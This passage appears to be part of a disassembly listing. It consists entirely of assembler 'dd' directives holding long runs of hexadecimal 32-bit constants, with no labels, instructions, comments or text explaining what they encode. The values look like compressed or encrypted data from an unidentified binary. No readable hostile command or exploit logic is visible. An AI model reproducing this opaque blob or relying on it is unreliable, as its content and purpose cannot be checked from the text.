		dd 77504105h, 2D3A702Fh, 7AFC07A2h, 0DF794104h,	0CB08081h
		dd 542D1723h, 0B2AF1BE7h, 66AE4132h, 730276Eh, 0A174D51Fh
		dd 0EECE2B5Dh, 0F62F1620h, 0CC7C41F9h, 6864C02Eh, 27CB223Ah
		dd 25F920C5h, 1FEB4311h, 0CE172D71h, 4CA115B8h,	3B5BC1D1h
		dd 0E52DCA8Ah, 0C052E784h, 0D20DD066h, 27776548h, 0FDEF64B4h
		dd 80D79A44h, 0F6A79687h, 39B562C7h, 8D2F02B1h,	34CE0497h
		dd 7666BA03h, 32554C7Dh, 0AC121F34h, 5166A08Eh,	202305B1h
		dd 0E0B8E9CAh, 93935DD6h, 11020113h, 4C604968h,	1E8617DCh
		dd 0CDF004D7h, 503CFE65h, 0ACEEBC87h, 9F70818h,	30120500h
		dd 2A6859C2h, 802C22CFh, 2F371BD7h, 0F38B4D0Dh,	672FB800h
		dd 60B0EDC1h, 691636E6h, 74006250h, 0DA08070Fh,	0DE9B20E9h
		dd 57F85976h, 0D7281C97h, 5173801Ch, 0B73831B5h, 59EF0BE3h
		dd 94040288h, 0C3860721h, 6BCAD4F6h, 80093C56h,	1460BEAh
		dd 614680Ah, 809FF416h
		dd 885066F7h, 2DD0EEF0h, 0BEC1D2F6h, 0F1C2E9D3h, 61602CD8h
		dd 0E3E9C314h, 78BAD2CAh, 1BD124F3h, 0F3E58ADh,	66898899h
		dd 6023E809h, 930082A0h, 5B5734E3h, 0D8A3157Ch,	4B7B194Dh
		dd 0DE2A76D9h, 0F9E91632h, 99609D53h, 0EF6B1B3h, 86B450DBh
		dd 0D058E303h, 36C38098h, 8A23E92Fh, 0C0710063h, 0CB09F954h
		dd 0A0895029h, 0BF115F27h, 49C68D18h, 10459158h, 2925D45Bh
		dd 2C1C841h, 8ED0AF4h, 503549Eh, 0F6717025h, 0A41E5B20h
		dd 36621C8Dh, 0AF9FCF7Dh, 0EA3364B1h, 3168B58Ch, 37270D8Bh
		dd 9B256FD3h, 9D28DECh,	0EEF134D6h, 519FA68Bh, 590B8154h
		dd 0C441504Ch, 809DE1D1h, 72F9DAFh, 0D6F7000Eh,	3A2DE681h
		dd 68170CA7h, 66050F2h,	2C2F069Fh, 2D04D48h, 36AE525Bh
		dd 70596C41h, 314F5CCAh, 3C5691D8h, 955B44E9h, 2F99820Bh
		dd 0BD555D01h, 4484928Ch, 3412C544h, 9D0F48C9h,	0D7003E06h
		dd 687D3546h, 31335F8Ah, 512AE5E1h, 0C16459ABh,	0F89FD51Ch
		dd 0D19A52C7h, 28F60782h, 69780900h, 1AD38941h,	366DE95Ah
		dd 818603D7h, 751E0F1h,	0CB011212h, 21C40259h, 759249h
		dd 43450465h, 0A0999C60h, 141CD008h, 0E8B45748h, 0ADF6B42Fh
		dd 5E9ED611h, 54655501h, 8406A28h, 58C42D99h, 0A620F70Eh
		dd 6F16B0E8h, 54E8779Ah, 97F3E87Dh, 545A4644h, 711D63C0h
		dd 63429F83h, 70C3A600h, 6E61EB78h, 0D3F70412h,	0FAF3E1FFh
		dd 0C50384DCh, 0EC61E9DCh, 0CE2A4E74h, 0ECB8C460h, 3100CA44h
		dd 2A0AFF05h, 0EE254873h, 5AA10003h, 87B6935h, 960E2D0Ch
		dd 0A111EF5Eh, 8FCDD3B6h, 684C7F73h, 5C66127h, 6054503Fh
		dd 0E43640CAh, 0BF571E2Ah, 411D2BEh, 125EA42Ah,	0B34862BCh
		dd 0E6EE8200h, 72CA2DA8h, 155A705h, 70E05E8h, 340C25Dh
		dd 701142CCh, 0CE26205Dh, 0E294339Fh, 680368F3h, 315B4AEBh
		dd 82D42998h, 5E5C133h,	5ED74156h, 904BA478h, 24BFE7C3h
		dd 47759509h, 0A591804Fh, 3A26625Fh, 5A5F829h, 0E92C3D7Ah
		dd 0D3A70478h, 0CC06A6D1h, 411609FCh, 69C50E35h, 43199980h
		dd 0E9780CA4h, 0FE45AA86h, 0F61D49B8h, 0FDA86D59h, 426C600h
		dd 9DE9090Fh, 30D9C94Ah, 256912FCh, 0D0F2D5F9h,	0D55AEBC8h
		dd 0F671260Bh, 5C1A61ACh, 4C8BDD33h, 68848DE5h,	68BF78FEh
		dd 0CE4FE9D5h, 0EA2DA101h, 2157792Ch, 0ABA30AE2h, 9CA5CBEh
		dd 0C182F289h, 137535A0h, 489AC2E4h, 70EB8096h,	4E5FB0BAh
		dd 9056C42Ch, 1EB02DD3h, 51AA024h, 8843328h, 9A2E925h
		dd 8A43E5E0h, 6B9D5B0Ch, 8B4F96D9h, 642AF9C5h, 8EEC75EAh
		dd 580E68C4h, 167DBA57h, 0B91BD510h, 2DB24B52h,	11C1A1D6h
		dd 6E59CA15h, 61114F61h, 9D6997Ch, 1C53F5AEh, 0B20F22Dh
		dd 74B46050h, 6C452C7Eh, 0DDE90C23h, 3E5D2DF0h,	4ABDE2C1h
		dd 82608327h, 6B992966h, 98E06B1Ch, 0D93395DEh,	5836F55Ch
		dd 0D04F259Dh, 1A7EAE55h, 0E323F8E9h, 0F4FC7D42h, 4E5DBD01h
		dd 63E875FEh, 0B2489FC5h, 973D4687h, 85DBAD13h,	1CEA5BC7h
		dd 0FB1CDFBEh, 4F19F6DAh, 163489B3h, 50F7B4ABh,	6D374012h
		dd 358BBCA8h, 3FC168B3h, 0A94E3E55h, 7C22E003h,	0A45BDF89h
		dd 7B2507A4h, 0D8293E3Ch, 5F170CC8h, 5019E8Ah, 32232C19h
		dd 2B427157h, 0E1C14801h, 50204908h, 0B53E00F3h, 7DEB8154h
		dd 193B666Fh, 33A04EC1h, 0FB01813Bh, 1907C63Fh,	0D32C4D98h
		dd 983ED1DCh, 0F1763177h, 3B59C8EFh, 582DF5CBh,	35C6D4A3h
		dd 0BA041F4Eh, 80002FABh, 0FC28C5C7h, 0B60AFFB0h, 0D4F430A0h
		dd 5EA9270Dh, 20E44249h, 0D213DFA5h, 2248F166h,	410D8023h
		dd 0A294F71h, 3EA9E9C2h, 92D81FCh, 2175B660h, 54428C9h
		dd 537B101Ch, 0D4891CBFh, 0CD10E2E8h, 0C3280DD5h, 22E8FE80h
		dd 40CBB419h, 1668505Ah, 1032674Dh, 553B38FBh, 87898426h
		dd 0E55DEB21h, 97DF085h, 5D9690CDh, 90505724h, 0B5BFB2A9h
		dd 0F4348864h, 0EFA3129Ah, 558DE9C2h, 0D91EE46h, 0C22C7449h
		dd 7F76B142h, 4791BF40h, 5E766052h, 48F5464Bh, 7E570CC1h
		dd 0E205C98h, 363009CAh, 442F2171h, 9276E7E1h, 54EFD819h
		dd 171B415Ch, 1804F989h, 698D16CAh, 908AEC6Ch, 76F20064h
		dd 89F9C2B8h, 24B7D04Ch, 0E85A5AC6h, 25E9E878h,	0B7521C28h
		dd 734E520h, 0B17165B8h, 598AAE1Ah, 0ADF244B9h,	68520437h
		dd 9ECD198Ch, 0F4EC79E1h, 4329813h, 0B7E902E5h,	0BE17942Bh
		dd 2053780Fh, 5BF88805h, 59E83C28h, 4BC779F7h, 0DBD191F9h
		dd 0CB207E18h, 280334B0h, 58D75835h, 289CA940h,	87D70665h
		dd 18505FFAh, 76074A00h, 6C2FB820h, 1E1A4AB2h, 2F5AAD5Dh
		dd 0CF4F301h, 0DBF706BCh, 0B620D3C9h, 0D94C1679h, 6EF0C6ADh
		dd 250B8C5Fh, 812B0521h, 5B35D1E0h, 0C90F4B2Fh,	2C33CF40h
		dd 464B7BEh, 0E5163245h, 3CA5DDD4h, 0B9C03E98h,	6E18A02h
		dd 2007AA80h, 0E4C659CCh, 0F807E618h, 25DB98ECh, 7793D296h
		dd 971D10C1h, 0F13FE53h, 0E04AB95h, 51092A3Eh, 321ACF87h
		dd 2ACC77A6h, 17B36EB5h, 0D7BA77E9h, 3A034D97h,	4B853B90h
		dd 497B5C43h, 94DCA03h,	5E3C167h, 6808EE98h, 120DFA25h
		dd 0AF8377ECh, 0FFF9835Eh, 8EF4EAE9h, 4E805B17h, 0C61FD868h
		dd 0A299279h, 3027339Bh, 24E9F704h, 0AD37F91Eh,	556001D9h
		dd 4DB6BDh, 0ED8157ADh,	54691AF5h, 9DE5DCF3h, 0F2356F28h
		dd 4A47D548h, 1454A01h,	7D219282h, 0E9CF286Bh, 0E8E49827h
		dd 0E0D5C24Bh, 5005B525h, 2F06BF01h, 2495D094h,	1572C283h
		dd 6748BC7Ch, 2D859820h, 0B10B60Ch, 3127C7BAh, 541C3F0h
		dd 59B4185Ah, 63E20FCBh, 0FCC44BB4h, 781A949h, 0DBFEF2ECh
		dd 69ACB0B5h, 9C705925h, 44F7AF9h, 0AB48E6F3h, 0DAEF07C3h
		dd 0B2456864h, 167412E7h, 0B6046D61h, 5FA7FD70h, 4BF28F44h
		dd 5C3BE1E7h, 3AE9C3A7h, 7D4EC168h, 6A0B9695h, 77E200CAh
		dd 0C4CEF181h, 91AFE90Dh, 3B595407h, 0A455C9DEh, 0C87AE9EDh
		dd 0D9609785h, 0D068533Eh, 0A63B991Ah, 5E2F0CBAh, 3A01C54Dh
		dd 31805461h, 902A5DEEh, 7677EB83h, 90E14F50h, 0B5B17CE7h
		dd 49CF5782h, 18DDFEF9h, 0E26A127Bh, 99FCD217h,	0BBFD9196h
		dd 54B105B8h, 40FC1D7Ah, 43C576FDh, 274175E9h, 0F0E48420h
		dd 6142B5CFh, 5E5DDF64h, 4F578AB3h, 0FD41C1E2h,	789A9533h
		dd 0E5965E51h, 5EE9A69Ch, 0B9D38068h, 2728583Ch, 1000B923h
		dd 1D75ECBh, 49C4E9CAh,	2F766ABBh, 0EE5B48D4h, 61320502h
		dd 78D4F629h, 661D7F69h, 3D16E96Bh, 0E81033F6h,	0F9311C3Ah
		dd 0D1F7CF80h, 5A266857h, 5F692144h, 699DE859h,	74634695h
		dd 92E5958Bh, 1095E984h, 0C6EE8001h, 0C9163188h, 2EC4AB99h
		dd 0E1847449h, 8F38F8E9h, 1763CE47h, 98A4175Ch,	741B990Bh
		dd 0C802C5C3h, 1112B41Bh, 0A94EF6E9h, 0E16BC949h, 0E9605570h
		dd 1F46734Fh, 9ADD8954h, 42878352h, 0A64FBEADh,	8B291FB3h
		dd 0B56E5307h, 7288CE97h, 755859E9h, 2D5DE800h,	2AE01C3h
		dd 9639659Fh, 30F2C20Fh, 613B8EF7h, 86C7FE85h, 0ECD0F6C8h
		dd 885102C0h, 6E8268C5h, 0FDD3C29Bh, 16C984E5h,	5B944EE4h
		dd 5C1244F7h, 0C9FE035Ah, 99259380h, 0F1D837E1h, 0A063B026h
		dd 0B50A71F2h, 1AB5446Ch, 89E88B61h, 335A5233h,	0CCE9F1F6h
		dd 968168A1h, 0BA800726h, 0E65FFE31h, 414A9FF3h, 0AD30A94Eh
		dd 0B7594E9Bh, 0C29F97h, 0D3C7145Fh, 1B20BD8h, 0EB88CFF1h
		dd 9F42656h, 1444CE67h
		dd 0DDA9CBE6h, 2F7EEE7Dh, 2AF5944h, 461368EAh, 46957BC6h
		dd 0C710F3EBh, 15E20525h, 0C59064B0h, 0F0560882h, 62E951C9h
		dd 7BCA3FE9h, 0FB64105Dh, 535A3F7Ah, 9202D926h,	0B658C531h
		dd 0EDA310FDh, 7776B800h, 33BA4E9Bh, 137DCD17h,	4225ECBCh
		dd 0EA3D5DF0h, 36108CD8h, 172B0E4Ah, 0FC09A6D6h, 45F1806Fh
		dd 2C440542h, 2D21CB29h, 0E874738Bh, 7638D2D3h,	0D78353F2h
		dd 534BCF76h, 7CE08E16h, 16179AD2h, 0B8670B68h,	0D949C41Ah
		dd 1FAABA01h, 0F8BEA508h, 0CAEB0B36h, 0E1F06555h, 0AB76BA73h
		dd 5E8C10Fh, 31D70152h,	0D4800D07h, 0C9F6C33Ch,	0A0B0D009h
		dd 0A6BD36B6h, 0D2455102h, 5EEFD6C8h, 6F99C94h,	3CE70A95h
		dd 523230E2h, 454D2788h, 0F9FC16C4h, 77394A9Ch,	0C3618716h
		dd 508B4EA2h, 68C23ADCh, 9741D08Ah, 0E8195C65h,	0CA3F5D41h
		dd 59E9C566h, 0C05F27D2h, 0E41ED505h, 0BE7B821h, 262D43D7h
		dd 0DBF61A80h, 2C58F2DCh, 65700199h, 0F52972B7h, 805A471h
		dd 0B1F85612h, 0CB39EDB4h, 0C190685Fh, 82034CEDh, 580A8B02h
		dd 10020939h, 0F0B146A7h, 1879591h, 1973F00Dh, 33030563h
		dd 0F76FF61Fh, 0B60F05D0h, 85C589DBh, 664CECA7h, 4945313Eh
		dd 0D2251263h, 940E82A2h, 7F24C1F2h, 0C56FDEEEh, 62AC2A3Ah
		dd 3378089Eh, 0ECFBA0B1h, 0D29EF562h, 0B2B652B9h, 0EEB889BDh
		dd 2B407C0h, 880160A4h,	58130CC8h, 42903509h, 6AA7F980h
		dd 39D542E2h, 0CBC54BC9h, 0C059EA81h, 96FE5AD0h, 0D9B15112h
		dd 5227F1ECh, 1CC33ECCh, 8288B690h, 0FD51E1CEh,	21C1DD6Fh
		dd 5B522CD2h, 0CF87C283h, 62F8FEF5h, 0E6F01C9Eh, 8F19232h
		dd 0AC02C682h, 0C60A7968h, 7CB60537h, 0AE13B7E9h, 0F942C439h
		dd 7EB782Dh, 0EF16F4BBh, 0D483A53Bh, 4C2BEA0Ah,	457DA65h
		dd 1EBCAEE9h, 61F9E09Ah, 8004F877h, 393A820Ch, 0ED0C7E61h
		dd 6920C923h, 0A2E913C3h, 7B09E7CDh, 0F5F4FA5Bh, 152E6478h
		dd 7A4CBC4Ch, 84007A5Dh, 55B35A58h, 7A226809h, 3B2C7DC6h
		dd 6B0A35h, 0DF3D4471h,	835F0B0Dh, 1407FFEFh, 0ED898E17h
		dd 0E1C0FD87h, 0FF294DD5h, 12082AC7h, 0FAB9095Dh, 72124574h
		dd 0E34E9AA8h, 9774810h, 3BC8310Ch, 0A596DA58h,	5722F991h
		dd 0E0066049h, 2C9A0950h, 0EDE3CEE9h, 0C220EFB0h, 1A9658F2h
		dd 95174A2Ch, 61D049C5h, 7DD9682Bh, 0E20C252Fh,	82204671h
		dd 8C3E585Dh, 50AD7Fh, 0DCF66CB4h, 0C021CC80h, 0E907EC0Bh
		dd 7C4F290Dh, 0E552E7B3h, 8FA4E047h, 29260277h,	0BB601892h
		dd 204D3Fh, 16C82D22h, 0D82955B0h, 0A88EE924h, 0C1D6F781h
		dd 1EE903EEh, 815F3D8Fh, 97102881h, 4FDFD451h, 5D05B9E8h
		dd 16F4BB2h, 0BAB091C5h, 8789529h, 0CBC10F9Dh, 0F6FB6E0Eh
		dd 95389A6Ch, 0D624A5ECh, 68C12C5Ah, 33924F8Bh,	9975716h
		dd 2CC8A784h, 38F06E20h, 4E0B5590h, 6A1FC243h, 1C080D62h
		dd 19E11417h, 88F8E046h, 3BC59513h, 6091908Ch, 5094E58h
		dd 0BEB82D54h, 0D75D1A33h, 326B9D9Dh, 14D75CF8h, 74E9174Bh
		dd 4B22F406h, 0E073A839h, 0A6057988h, 0BAE9124Eh, 68B89C9Ah
		dd 661A9D2Fh, 0BEA699B9h, 2171BDADh, 0F0F260CBh, 0C9E79D21h
		dd 58A7688Eh, 82EC4449h, 0A5BB54D4h, 88555148h,	5003CBEh
		dd 776820F6h, 1E82D83h,	1863398Fh, 2D982F2Ch, 5B26D575h
		dd 581613A9h, 5380B0A8h, 0B0065768h, 815B6201h,	884609CBh
		dd 0FE4FCB50h, 89411235h, 599809D9h, 83AD82C0h,	6207F38h
		dd 59B840Fh, 4979897h, 3BAB5418h, 0E2C10289h, 21A07702h
		dd 7FD942D3h, 61043790h, 298967D5h, 7E682C81h, 2C987DE6h
		dd 0CE0039D4h, 9AC98150h, 0E7279E49h, 0A18570h,	0D37B653h
		dd 46761108h, 435E3502h, 55090C72h, 71E1BFC0h, 8297A3E0h
		dd 0B10EED4h, 0CC2621F1h, 8EA09017h, 20DCA42Ch,	5D0F952Bh
		dd 2B50C331h, 4CBBD285h, 4C122877h, 0B33AA26h, 961EA6A5h
		dd 83744B45h, 0F497511Fh, 81D962E5h, 2473D720h,	124F5AEBh
		dd 71A8B145h, 2FD6F8B4h, 206BC0B1h, 7B34F091h, 50F5FC07h
		dd 0A1C106F2h, 0AF39E928h, 3ECD8002h, 0BFEAF68h, 0AEFBB98Bh
		dd 428BDEF5h, 80A9F07Ch, 187EEFD5h, 12298184h, 8BB0F189h
		dd 80621697h, 823825A2h, 0CC0CF979h, 0DE515C8Fh, 0E2340B3Ch
		dd 0CC830CEh, 87E98402h, 6E29EE12h, 9425623Fh, 659534D8h
		dd 949ACCEEh, 0AD1DEDBEh, 58F03192h, 0D1050959h, 9484BF7Bh
		dd 0B989B029h, 0E8B4C5D7h, 55BD409Bh, 0E82D6F90h, 0F6914E34h
		dd 8287BBF3h, 8746192h,	74D6A5E2h, 0E6BE820h, 0F6D92963h
		dd 2721C571h, 5C97C899h, 73F065CDh, 128CA548h, 8493C855h
		dd 0C527F6BCh, 7A263F03h, 25F9AFB7h, 0A4C7298Fh, 1DF40346h
		dd 4939F030h, 0D13F48A1h, 168677AAh, 0B40478Fh,	9F7C4B05h
		dd 1332747Ah, 2E47A1E5h, 2D80172Ch, 2716CEBh, 7E2129A7h
		dd 0E9275612h, 61040963h, 42250291h, 9D50F5F0h,	0B3FAD31Bh
		dd 8E8CA790h, 5BEAD1C9h, 486D0A27h, 0F6AA42CDh,	0E39A3055h
		dd 0C173BE62h, 2DBFEBE9h, 6850C17Fh, 5E2475F3h,	0E269403h
		dd 0A6E4CD29h, 2D5BB41Fh, 3F263591h, 0DC58B849h, 5B6EABC6h
		dd 0BB4BD558h, 68589820h, 8C1D4B7Dh, 0E65F9EE1h, 50582DD8h
		dd 8B0D7F18h, 2C542F3Fh, 2C07D851h, 58FB3D14h, 0E94912B2h
		dd 69F0AC7Ch, 0AB724574h, 98D241Dh, 0E0761CA0h,	0D0F0A56Bh
		dd 5A682181h, 0E95EE982h, 810046F7h, 5C633FF2h,	0D512F356h
		dd 4A90E5Ah, 597F8DF2h,	58CB6EF5h, 0A5C20B92h, 37B2D020h
		dd 391FEA80h, 0E30BCAFEh, 0BFDBD1BCh, 0AD261649h, 0D5E708BFh
		dd 5CF7660Bh, 8D7388FDh, 8231AD0Bh, 13560AAh, 0DCBB5342h
		dd 97C6A2Eh, 54B1926h, 54525F60h, 50069C5Ah, 55F7E956h
		dd 393E5397h, 7DEE78E9h, 37AF6B14h, 546602B7h, 782932A1h
		dd 5A5ABE6Dh, 0E92010DFh, 0B8B760FEh, 0DA31D3F7h, 6109A5E5h
		dd 76CC816Fh, 11D8191Bh, 0DC596051h, 609D6164h,	0F3CA29A7h
		dd 0FDD5D140h, 7AE4FB3h, 49E95331h, 3E640041h, 8CE25A81h
		dd 0C289A015h, 3CDF5904h, 0E945D131h, 8B2A94B5h, 17680976h
		dd 20166657h, 6AC84801h, 0DE00252Ah, 0D0C9FEB7h, 3780E13Ah
		dd 0D05C0EE8h, 0F6AEC588h, 0C0020FDAh, 0C2E7056Fh, 5E84F9E5h
		dd 3113AE45h, 868A2AB9h, 0AD2996E7h, 65009393h,	6A6F454Eh
		dd 48B90551h, 8309DC7Bh, 8FC9F9CAh, 9656A875h, 0A19D1B20h
		dd 162A6984h, 2D36CBE8h, 862C655Eh, 351E72E9h, 5205F90h
		dd 85664A42h, 457AA818h, 9DA8EA9Ch, 0AAE91E08h,	0E25D50BEh
		dd 2A0E014h, 2A480D34h,	52411359h, 2F31E0E6h, 0D7F38102h
		dd 495A5830h, 0BB830966h, 0CEB551ACh, 0B7E65CAh, 28AA5C12h
		dd 40E0BB50h, 4AF9F882h, 28F90A51h, 59C10FC9h, 0CAA38E49h
		dd 0CF8329B7h, 5AF730D0h, 5B60287Ch, 0FAE98726h, 0BD5580A1h
		dd 761F0600h, 88ED812Ch, 20702A4h, 0F6E9EA31h, 53959650h
		dd 0D382256Fh, 0B305D844h, 3521AB81h, 7CCE8A6Fh, 0D19F4E25h
		dd 0AD133C97h, 2F19F2B6h, 14F1D158h, 0C627CF54h, 0E9E146D1h
		dd 526FF2A2h, 8DA1DDh, 5B68A8A8h, 1EF43748h, 695F193Dh
		dd 6AC2CF01h, 0E7D87AE5h, 0D943398Bh, 5E351860h, 0CC13763h
		dd 4DCA063Bh, 3F0DEFF0h, 30F22916h, 785A5FFBh, 0EB5E38FAh
		dd 0C3CDE8E1h, 0B008DC56h, 0CC4C5ED7h, 365B4369h, 7E3975CDh
		dd 50BC9B4Eh, 3E02DF19h, 7DE91B49h, 0A40598Ch, 8995451h
		dd 5C12C0FBh, 5E2335A4h
		dd 0B18E238h, 0C69C88E9h, 0B69DB003h, 0AE050118h, 0E9682370h
		dd 5368648Dh, 5B13EC99h, 92E1DFB8h, 0C874043Dh,	241B3BEFh
		dd 4067F0B9h, 4BBB0218h, 99608F49h, 5913E8CBh, 14F41ACAh
		dd 0DD81EE3h, 2ECE9A8h,	21111510h, 0DA09CBF6h, 86145D27h
		dd 13964C95h, 0F88DDFE9h, 764CCFDEh, 1FECE35h, 2F3A952Dh
		dd 0F2102A53h, 0B4A84A07h, 0A4352548h, 3F308143h, 2ADC3ADBh
		dd 5FA3F855h, 826227F8h, 0BD14F0Bh, 34B85293h, 7A013DA5h
		dd 0B6455A00h, 9685310h, 13E17CD6h, 3119AC54h, 28805FF5h
		dd 7F9F05B1h, 1D0ECD81h, 0C00DD935h, 8639FCF5h,	52E92722h
		dd 0E37B17FAh, 30F61214h, 7F6D05D3h, 0AC03132Bh, 0B40DFBF1h
		dd 0A5499F46h, 934BC277h, 0D9F27012h, 8D2842C5h, 1750299h
		dd 0A02E6DE4h, 25CFD989h, 38FD1C0Ch, 24B29886h,	0CABAF6A3h
		dd 532D02FEh, 889E267Ch, 8100EE96h, 7B19B3F6h, 0C47900Eh
		dd 741E3B63h, 0ED0B8B18h, 0FC1C085h, 89E6E728h,	1F0310D3h
		dd 0C05DF41Eh, 663A2D3Ch, 291449BFh, 260705F0h,	271ECD5Eh
		dd 8926A349h, 470F5D2Ah, 7FB13B8Bh, 0CDC2A59h, 75A85377h
		dd 1D390110h, 0D1C9F2B3h, 79A02923h, 646809E8h,	0F9B2BBE8h
		dd 54EADDC0h, 0BC22EF48h, 0EB214251h, 0DB0B89B0h, 32850F09h
		dd 70EC7CD9h, 11C920B8h, 98BD5205h, 2C430F99h, 0A23716B6h
		dd 0D605C0D3h, 0B537FC5Eh, 28076888h, 0FAC0B35h, 97035378h
		dd 6CCA1E48h, 612F9874h, 9E4005AAh, 996562Ah, 0B81DE92Ch
		dd 0A5BC9B51h, 5B8304E0h, 4B5EE5F3h, 5BE181C4h,	7EA88253h
		dd 40360B58h, 30345CC8h, 860C2B31h, 350E3CB8h, 6159CB89h
		dd 1F47E9D9h, 17043E32h, 0AF2B655Ch, 30087150h,	71851E59h
		dd 0D37A48A3h, 817BE913h, 7AC63162h, 5A010F2Ch,	3222A0F0h
		dd 4DB61613h, 0D242BAD2h, 0C4C87218h, 0FE5E5914h, 4C444013h
		dd 451AB3F3h, 688C015Fh, 0CA2F6539h, 0E97D61BEh, 396A94C4h
		dd 0F9920401h, 6782D6FCh, 7630FFFFh, 96094C8Eh,	0E0D7E978h
		dd 3EEAB895h, 0C116D609h, 0D89200E0h, 7D858435h, 0FBCCA5Ch
		dd 49FA5573h, 208F7E01h, 0DD585908h, 0F004CCD0h, 0B0C93E49h
		dd 0EC970A9Eh, 0EC6D4DC9h, 145A2Ch, 2C21FFCAh, 0EA3CC11Dh
		dd 302F306h, 0E902F7F8h, 4AFCD875h, 8473E954h, 512390Ch
		dd 0F2D66377h, 19597E06h, 0BA3550A8h, 1AB64B16h, 782D1D01h
		dd 0F9405154h, 0A257D9CFh, 4B7578BDh, 0BCAF16D1h, 0A6E2A715h
		dd 2ECC59D0h, 7AB402EFh, 0CB917241h, 9C002AB0h,	0C780CF28h
		dd 506616DAh, 0CB630A52h, 68D884F2h, 7F30E429h,	5419E760h
		dd 945A0824h, 4AE089B8h, 0FA165510h, 4AB1935Dh,	0B94A0AB9h
		dd 91718EBh, 0D068618h,	0DD29250Fh, 0E908011Ch,	3143654Ah
		dd 74DCDD7Eh, 0C10931A9h, 0C6028E68h, 52DA308Bh, 647B41DDh
		dd 2D581C14h, 0CEE91606h, 0B91D7056h, 471A27FDh, 32193FA4h
		dd 2CF72AC9h, 53F28059h, 62509E5h, 0AEE9D701h, 0EAF04F94h
		dd 0ED5AC3F0h, 1904DFB3h, 0A9568614h, 2258273Ah, 15DB2E7h
		dd 2B3C62E9h, 524B6FE2h, 0E9E29121h, 5C89A537h,	9CCD24Dh
		dd 1EBCC690h, 0C4C8792Fh, 0BF44FBD2h, 77E9411Fh, 3910C73Ch
		dd 0B25200F6h, 28C5B32Ah, 805A06D3h, 2866F5F3h,	0EB30A81Dh
		dd 0CBFE5981h, 1E9CD3F6h, 0D7C3C1E2h, 2F5BD828h, 2517A28h
		dd 0CE88BFB1h, 0DDF0F8E9h, 0A6DE1EB5h, 0D0E9165Dh, 13D3E948h
		dd 0E6A29373h, 0BC10B148h, 12194C8Ch, 0F915FF8h, 68003EACh
		dd 43A94279h, 0A9226EBAh, 5CF043FAh, 473D430Fh,	0C8E6AEh
		dd 2C325D0h, 20985624h,	125C0502h, 0D82988A9h, 0E32EE7D3h
		dd 7E1B1385h, 0ABE91405h, 10DBA150h, 10EEEE4h, 0B55381C7h
		dd 259932F4h, 0F58C4840h, 279F093Ch, 0A78289C0h, 0ABD34618h
		dd 2AF51BA0h, 0F5B68907h, 0C2967D09h, 95B4503Bh, 4EB41AE9h
		dd 4412021Eh, 31EA0A52h, 2A5DEE7Dh, 0E5574391h,	8AF83101h
		dd 0BE11CAC0h, 511FB784h, 0EE2D3EE8h, 0E0930A2h, 92BC98D1h
		dd 98588520h, 3C15894h,	420508E8h, 0B0EC94FCh, 0AAF6E920h
		dd 0F693AFB5h, 618B87ECh, 56252B78h, 0C3746A5Fh, 90C484F4h
		dd 0E6067780h, 3E0C5808h, 0C9EBF25Eh, 2F19FA21h, 0FD49DDE9h
		dd 84E56CC1h, 0AD172863h, 0BE69176Dh, 45874F44h, 0DDC2D4ECh
		dd 0ED5C5855h, 0EC052C5h, 12B17FB8h, 42DAE962h,	0BE565341h
		dd 0F1ADB5D6h, 0E93F30CDh, 0F3CCB9D4h, 138E90D1h, 907384Fh
		dd 0B470EDACh, 6DF1BE00h, 0CE8147CCh, 52358B7h,	92584625h
		dd 9041CB20h, 7DF518A6h, 9AF3FA5Ah, 4E40B739h, 5E324EA1h
		dd 5C88412h, 0C8A3B6F1h, 5113F5B4h, 0AD0010C6h,	1F621493h
		dd 0BDD54C01h, 0F98B0840h, 92F4F22Bh, 959934BBh, 0BA44BB22h
		dd 46FEDABDh, 0E59985FBh, 9C3720F5h, 66B2981h, 1FACA08Ah
		dd 2794C148h, 0F7409045h, 5B0BC7D5h, 203F293h, 51F1C55h
		dd 0BB43670Dh, 35EF9108h, 20D2D187h, 8340E1BEh,	66E60088h
		dd 0B6525358h, 0ED7FB3E2h, 8A51A45Ch, 0E9E12C08h, 972F07EEh
		dd 0BEC2D44Ah, 0F75E79D3h, 75AC9724h, 0C21B0693h, 8FB52F0Dh
		dd 0C6C1176Ah, 8E485F5Eh, 168DBE03h, 0E4AB1796h, 0A7D48E41h
		dd 59B10467h, 50FE6DD2h, 0E938081Eh, 5209052Ch,	2C40BD2Ah
		dd 507F4CECh, 42E26804h, 0AF815356h, 2801F252h,	345121F3h
		dd 0D6C666E8h, 1E0A35E7h, 0AC3E46CAh, 4ABF3E6Dh, 3B0A688Fh
		dd 477F5FD2h, 0EBDD86BDh, 0CB966B22h, 0EFE25905h, 0D61AF862h
		dd 89E4B856h, 2588D5BEh, 2028799Eh, 2ED07E4h, 2D82FD5Bh
		dd 5F051FECh, 7B4C06EBh, 0BA0720A2h, 6B83300Ch,	6BE00BA5h
		dd 3360F05h, 0D64429BDh, 2D74FB3Eh, 4088DF11h, 0BF0457B3h
		dd 67194323h, 165BCAC0h, 277EB0CAh, 0F92007FDh,	0E56D8AF3h
		dd 51AB1248h, 560F7B5Eh, 83F7CB4Fh, 0B036A5D9h,	307B5FE7h
		dd 324C3720h, 6BB8165Eh, 484CEF03h, 0E2E9331Bh,	0EA907D17h
		dd 5D819D3Fh, 41806960h, 75CD3BD4h, 0F7B8E42Fh,	87643D01h
		dd 2AB1E94Eh, 53A3406Eh, 0C72845BBh, 0D92D387Dh, 0D071E63Eh
		dd 1C21C6F8h, 0CEA3D017h, 33D20502h, 79586DC2h,	30FF0780h
		dd 0F00C29BAh, 5C7FB46Ch, 0E82820Dh, 440A0165h,	0CAEFB50Ah
		dd 29099610h, 286A2047h, 5C9E9170h, 746AE962h, 0CD54125Dh
		dd 0E17D21EAh, 601F35D7h, 8834F539h, 58C14BD1h,	0FCFFC191h
		dd 0D7B1A1FCh, 0E65207B9h, 0CE90F781h, 0CBBF2D5Ch, 0F0AFF230h
		dd 0B55995A5h, 0CA4BC4ADh, 0A5FBD222h, 0AF800576h, 6658E530h
		dd 0EFB37F53h, 126E8221h, 301B2D83h, 0FE4AA38Dh, 6501950Eh
		dd 8216BE7h, 0E3FA3FEFh, 1F120B29h, 5D42C5E9h, 0FE144E40h
		dd 0E639CE7Dh, 15EEA6ECh, 4BC09416h, 1E8DBD5Bh,	0D3EBD62Bh
		dd 9DAE56CFh, 108663E6h, 543BB759h, 97BE2626h, 5F58575Ah
		dd 0D7304929h, 58971753h, 12A61910h, 29AB071Bh,	92ADF3F4h
		dd 1EC14DCCh, 0CE97F40Eh, 5D4B897Dh, 0F1A18D05h, 0D950DD93h
		dd 67BD9766h, 190FBC9Ch, 0E73C0C6Eh, 0CE01F5F0h, 2989A7A5h
